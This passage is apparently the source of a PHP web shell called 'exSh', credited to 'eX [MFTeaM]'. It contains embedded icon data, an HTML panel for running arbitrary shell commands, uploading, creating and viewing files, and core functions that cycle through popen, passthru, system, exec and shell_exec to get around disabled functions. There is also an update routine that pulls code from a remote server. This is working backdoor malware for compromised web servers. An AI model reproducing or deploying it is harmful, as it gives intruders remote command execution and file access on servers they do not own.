2496 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
2497 "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
2498 "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
2499 "ext_avi"=>
2500 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
2501 "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
2502 "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
2503 "ext_cgi"=>
2504 "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
2505 "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
2506 "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
2507 "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
2508 "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2509 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2510 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2511 "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
2512 "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
2513 "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
2514 "RYtMAgEAOw==",
2515 "ext_cmd"=>
2516 "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
2517 "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
2518 "dmrYAMn1onq/YKpjvEgAADs=",
2519 "ext_cpp"=>
2520 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
2521 "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
2522 "Eq7YrLDE7a4SADs=",
2523 "ext_ini"=>
2524 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
2525 "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
2526 "SnEjgPVarHEHgrB43JvszsQEADs=",
2527 "ext_diz"=>
2528 "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
2529 "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
2530 "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
2531 "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
2532 "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
2533 "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
2534 "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
2535 "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
2536 "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2537 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2538 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2539 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2540 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2541 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2542 "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
2543 "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
2544 "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
2545 "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
2546 "Ow==",
2547 "ext_doc"=>
2548 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
2549 "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
2550 "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
2551 "ext_exe"=>
2552 "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
2553 "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
2554 "xhIAOw==",
2555 "ext_h"=>
2556 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
2557 "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
2558 "Wq/NknbbSgAAOw==",
2559 "ext_hpp"=>
2560 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
2561 "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
2562 "UqUagnbLdZa+YFcCADs=",
2563 "ext_htaccess"=>
2564 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
2565 "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
2566 "AAA7",
2567 "ext_html"=>
2568 "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
2569 "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
2570 "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
2571 "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
2572 "ADs=",
2573 "ext_jpg"=>
2574 "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
2575 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
2576 "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
2577 "FxEAOw==",
2578 "ext_js"=>
2579 "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
2580 "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
2581 "a00AjYYBbc/o9HjNniUAADs=",
2582 "ext_lnk"=>
2583 "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
2584 "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
2585 "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
2586 "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
2587 "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
2588 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2589 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2590 "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
2591 "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
2592 "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
2593 "ADs=",
2594 "ext_log"=>
2595 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
2596 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
2597 "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
2598 "ext_php"=>
2599 "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
2600 "aGeyYpqJlRG/rlwAADs=",
2601 "ext_pl"=>
2602 "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
2603 "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
2604 "ext_swf"=>
2605 "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
2606 "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2607 "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
2608 "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
2609 "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
2610 "ext_tar"=>
2611 "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
2612 "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
2613 "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
2614 "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
2615 "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2616 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2617 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2618 "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
2619 "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
2620 "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
2621 "u4tLAgEAOw==",
2622 "ext_txt"=>
2623 "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
2624 "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
2625 "UpPWG3Ig6Hq/XmRjuZwkAAA7",
2626 "ext_wri"=>
2627 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
2628 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
2629 "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
2630 "ext_xml"=>
2631 "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
2632 "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2633 "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
2634 "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
2635 "IQA7"
2636 );
2637 //Untuk optimalisasi ukuran dan kecepatan.
2638 $imgequals = array(
2639   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
2640   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
2641   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
2642   "ext_html"=>array("ext_html","ext_htm"),
2643   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
2644   "ext_lnk"=>array("ext_lnk","ext_url"),
2645   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
2646   "ext_doc"=>array("ext_doc","ext_dot"),
2647   "ext_js"=>array("ext_js","ext_vbs"),
2648   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
2649   "ext_wri"=>array("ext_wri","ext_rtf"),
2650   "ext_swf"=>array("ext_swf","ext_fla"),
2651   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
2652   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
2653 );
2654 if (!$getall) {
2655   header("Content-type: image/gif");
2656   header("Cache-control: public");
2657   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
2658   header("Cache-control: max-age=".(60*60*24*7));
2659   header("Last-Modified: ".date("r",filemtime(__FILE__)));
2660   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
2661   if (empty($images[$img])) {$img = "small_unk";}
2662   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
2663   echo base64_decode($images[$img]);
2664 }
2665 else {
2666   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
2667   natsort($images);
2668   $k = array_keys($images);
2669   echo  "<center>";
2670   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
2671   echo "</center>";
2672 }
2673 exit;
2674 }
2675 if ($act == "about") {
2676   echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>eX [MFTeaM]</b><br>".
2677        "Beta-testing and some tips by <b>eX [CopyRight MFTeaM]</b><br>".
2678        "Re-Coding, tricks, html and css by <b>eX [MFTeaM]</b><br><br>".
2679        "Report bugs to <a href=\"mailto:eX@MFTeaM.NeT\">eX</a></b>";
2680 }
2681 echo "</td></tr></table>\n";
2682 /*** COMMANDS PANEL ***/
2683 ?>
2684 <div  class=bartitle><b>.: COMMANDS PANEL :.</b></div>
2685 <table class=mainpanel>
2686 <tr><td align=right>Command:</td>
2687 <td><form method="POST">
2688     <input type=hidden name=act value="cmd">
2689     <input type=hidden name="d" value="<?php echo $dispd; ?>">
2690     <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
2691     <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
2692     </form>
2693 </td></tr>
2694 <tr><td align=right>Quick Commands:</td>
2695 <td><form method="POST">
2696     <input type=hidden name=act value="cmd">
2697     <input type=hidden name="d" value="<?php echo $dispd; ?>">
2698     <input type=hidden name="cmd_txt" value="1">
2699     <select name="cmd">
2700     <?php
2701     foreach ($cmdaliases as $als) {
2702       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
2703     }
2704     foreach ($cmdaliases2 as $als) {
2705       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
2706     }
2707     ?>
2708     </select> <input type=submit name=submit value="Execute">
2709     </form>
2710 </td></tr>
2711 <tr><td align=right>Upload:</td>
2712 <td><form method="POST" enctype="multipart/form-data">
2713     <input type=hidden name=act value="upload">
2714     <input type=hidden name="miniform" value="1">
2715     <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
2716     </form>
2717 </td></tr>
2718 <tr><td align=right>PHP Filesystem:</td>
2719 <td>
2720 <?php 
2721 ###[ eX TriCkz ]
2722 ### ?>
2723 <script language="javascript">
2724 function set_arg(txt1,txt2) {
2725   document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
2726   document.forms.fphpfsys.arg1.value = txt1;
2727   document.forms.fphpfsys.arg2.value = txt2;
2728 }
2729 function chg_arg(num,txt1,txt2) {
2730   if (num==0) {
2731     document.forms.fphpfsys.arg1.type = "hidden";
2732     document.forms.fphpfsys.A1.type = "hidden";
2733   }
2734   if (num<=1) {
2735     document.forms.fphpfsys.arg2.type = "hidden";
2736     document.forms.fphpfsys.A2.type = "hidden";
2737   }
2738   if (num==2) {
2739     document.forms.fphpfsys.A1.type = "label";
2740     document.forms.fphpfsys.A2.type = "label";
2741     document.forms.fphpfsys.arg1.type = "text";
2742     document.forms.fphpfsys.arg2.type = "text";
2743   }
2744   document.forms.fphpfsys.A1.value = txt1 + ":";
2745   document.forms.fphpfsys.A2.value = txt2 + ":";
2746 }
2747 </script>
2748 <?php
2749   echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n".
2750        "<select name=\"phpfsysfunc\">\r\n";
2751   foreach ($phpfsaliases as $als) {
2752     if ($als[1]==$phpfsysfunc) {
2753       echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
2754     }
2755     else {
2756       echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
2757     }
2758   }
2759   echo "</select>\r\n".
2760        "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n".
2761        "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n".
2762        "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n";
2763   foreach ($sh_sourcez as $e => $o) {
2764     echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n";
2765   }
2766   echo "</form>\r\n";
2767 ?>
2768 </td></tr>
2769 <tr><td align=right>Search File:</td>
2770 <td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
2771     <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
2772     </form>
2773     </td></tr>
2774 <tr><td align=right>Create File:</td>
2775 <td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
2776     <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
2777     </form></td></tr>
2778 <tr><td align=right>View File:</td>
2779 <td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
2780     <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
2781     </form></td></tr>
2782 </table>
2783 <?php footer(); ?>
2784 </body></html>
2785 <?php
2786 
2787 
2788 ###
2789 ###
2790 ###
2791 ###
2792 ###
2793 ###
2794 ###
2795 ###
2796 ###
2797 ###
2798 ###
2799 ###
2800 ####
2801 
2802 ### exSh CORE FUNCTIONS 
2803 ###
2804 
2805 ###
2806 ###
2807 ###
2808 ###
2809 ###
2810 ###
2811 ###
2812 ###
2813 ###
2814 ###
2815 ###
2816 ###
2817 ####
2818 function safemode() {
2819   if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
2820   else { return FALSE; }
2821 }
2822 function getdisfunc() {
2823   $disfunc = @ini_get("disable_functions");
2824   if (!empty($disfunc)) {
2825     $disfunc = str_replace(" ","",$disfunc);
2826     $disfunc = explode(",",$disfunc);
2827   }
2828   else { $disfunc= array(); }
2829   return $disfunc;
2830 }
2831 function enabled($func) {
2832  if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
2833  else { return FALSE; }
2834 }
2835 function exexec($cmd) {
2836   $output = "";
2837   if ( enabled("popen") ) {
2838     $h = popen($cmd.' 2>&1', 'r');
2839     if ( is_resource($h) ) {
2840       while ( !feof($h) ) { $output .= fread($h, 2096);  }
2841       pclose($h);
2842     }
2843   }
2844   elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2845   elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2846   elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2847   elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2848   return $output;
2849 }
2850 function exexec2($cmd) {
2851   $output = "";
2852   if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2853   elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2854   elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2855   elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2856   elseif ( enabled("popen") ) {
2857     $h = popen($cmd.' 2>&1', 'r');
2858     if ( is_resource($h) ) {
2859       while ( !feof($h) ) { $output .= fread($h, 2096);  }
2860       pclose($h);
2861     }
2862   }
2863   return $output;
2864 }
2865 function which($pr) {
2866   $path = exexec("which $pr");
2867   if(!empty($path)) { return $path; } else { return $pr; }
2868 }
2869 
2870 function get_status() {
2871   function showstat($sup,$stat) {
2872     if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; }
2873     else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; }
2874   }
2875   $arrfunc = array(
2876     array("MySQL","mysql_connect"),
2877     array("MSSQL","mssql_connect"),
2878     array("Oracle","ocilogon"),
2879     array("PostgreSQL","pg_connect"),
2880     array("Curl","curl_version"),
2881   );
2882   $arrcmd = array(
2883     array("Fetch","fetch --help"),
2884     array("Wget","wget --help"),
2885     array("Perl","perl -v"),
2886   );
2887 
2888   $statinfo = array();
2889   foreach ($arrfunc as $func) {
2890     if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
2891     else { $statinfo[] = showstat($func[0],"off"); }
2892   }
2893   $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
2894   foreach ($arrcmd as $cmd) {
2895     if (exexec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
2896     else { $statinfo[] = showstat($cmd[0],"off"); }
2897   }
2898   return implode(" ",$statinfo);
2899 }
2900 function showdisfunc() {
2901   if ($disablefunc = @ini_get("disable_functions")) {
2902     return "<font color=#FF9900><b>".$disablefunc."</b></font>";
2903   }
2904   else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
2905 }
2906 function disp_drives($curdir,$surl) {
2907   $letters = "";
2908   $v = explode("\\",$curdir);
2909   $v = $v[0];
2910   foreach (range("A","Z") as $letter) {
2911     $bool = $isdiskette = $letter == "A";
2912     if (!$bool) { $bool = is_dir($letter.":\\"); }
2913     if ($bool) {
2914       $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
2915                   ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
2916       if ($letter.":" != $v) { $letters .= $letter; }
2917       else { $letters .= "<font color=yellow>".$letter."</font>"; }
2918       $letters .= "</a> ";
2919     }
2920   }
2921   if (!empty($letters)) { Return $letters; }
2922   else  {Return "None"; }
2923 }
2924 function disp_freespace($curdrv) {
2925   $free = @disk_free_space($curdrv);
2926   $total = @disk_total_space($curdrv);
2927   if ($free === FALSE) { $free = 0; }
2928   if ($total === FALSE) { $total = 0; }
2929   if ($free < 0) { $free = 0; }
2930   if ($total < 0) { $total = 0; }
2931   $used = $total-$free;
2932   $free_percent = round(100/($total/$free),2)."%";
2933   $free = view_size($free);
2934   $total = view_size($total);
2935   return "$free of $total ($free_percent)";
2936 }
2937 
2938 ### exSh UPDATE FUNCTIONS 
2939 ###
2940 function exgetsource($fn) {
2941   global $exsh_sourcesurl;
2942   $array = array(
2943     "exsh.php" => "exsh.txt",
2944   );
2945   $name = $array[$fn];
2946   if ($name) {return file_get_contents($exsh_sourcesurl.$name);}
2947   else {return FALSE;}
2948 }
2949 function exsh_getupdate($update = TRUE) {
2950   $url = $GLOBALS["exsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
2951   $data = @file_get_contents($url);
2952   if (!$data) { return "Can't connect to update-server!"; }
2953   else {
2954     $data = ltrim($data);
2955     $string = substr($data,3,ord($data{2}));
2956     if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
2957     if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
2958     if ($data{0} == "\x99" and $data{1} == "\x03") {
2959       $string = explode("|",$string);
2960       if ($update) {
